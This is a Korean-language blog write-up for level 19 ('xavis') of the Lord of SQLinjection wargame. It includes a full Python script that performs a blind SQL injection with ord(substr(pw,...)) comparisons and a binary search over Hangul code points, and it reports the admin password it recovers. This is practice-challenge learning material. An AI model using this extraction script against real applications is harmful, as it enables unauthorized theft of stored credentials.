LJ

Lord of SQLinjection ( 19번 ) xavis 본문

IT 보안/보안첼린지

Lord of SQLinjection ( 19번 ) xavis

짱준재 2024. 6. 30. 11:54

 

 

 

 

 

 

 

19번 문제이다

 

 

필터링을 like와 regex 를 하는데 

 

사실상 

 

의미가 있어 보이진 않는다.

 

 

 

무난하게 길이를 알아낸다.

 

 

평소하던 방식대로 자동화 코드를 돌렸는데 되지않는다

 

 

코드가 잘못된건지 수정을 반복하다가

 

한글이 아닐까..? 라는 생각을 하게 되어

 

 

 

 

 



import requests

def send(query):
    url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
    cookie = "쿠키"
    head = {"PHPSESSID":f"{cookie}"}
    my_url = url+query
    res = requests.get(my_url, cookies=head)
    return res.text

print("인제션 공격 시도 Start!!")


length = 12
pw = ''

for i in range(1, length+1) :
    # 유니코드 (0x0 ~0xFFFF)
    # 44032 :'가'의 유니코드 포인트 십진수
    # 55203 : '힣'의 다음 유니코드 포인트
    low = 0xAC00  # 한글 시작 유니코드 포인트
    high = 0xD7A3   # 한글 끝 유니코드 포인트 + 1 

    while(low <= high) :

        mid = (high+low)//2
        #equal
        query = '?pw=\' or id=\'admin\' and ord(substr(pw,{},1))={}%23'.format(i, mid)
        print(query, 'find:',pw)
        if('Hello admin' in send(query)):
            pw += chr(mid)
            break
        
        #smaller
        query = '?pw=\' or id=\'admin\' and ord(substr(pw,{},1))>{}%23'.format(i, mid)
        print(query, 'find:',pw)
        if('Hello admin' in send(query)):
            low = mid+1
            continue
        
        #bigger
        query = '?pw=\' or id=\'admin\' and ord(substr(pw,{},1))<{}%23'.format(i, mid)
        print(query, 'find:',pw)
        if('Hello admin' in send(query)) :
            high = mid-1
            continue
            
        
        

print('res:',pw)

 

위의 코드에서는 유니코드의 범위가 워낙 넓어 이진탐색을 써서 비밀번호를 구하였고

 

 

low high  값은 한글 범위가 포함되게 하면 유니코드 범위안에서 어떤 숫자든 상관이 없다. 

 

Sql에서 한글은 3Byte로 저장되는데 예외사항이 있기 때문에 length 함수로 정확한 문자열의 길이를 알아낼 수는 없다고 해서 

 

pw 12개까지 기다릴 필요도 없이

 

사진을 찍어버렸다. 

 

 

pw 값은 ->  우왕굳이 나왔다.

 

 

 

 

 

 

 

 

 

 

****key point****

유니코드 : U+0000 ~ U+FFFF 까지 문자를 표현

Comments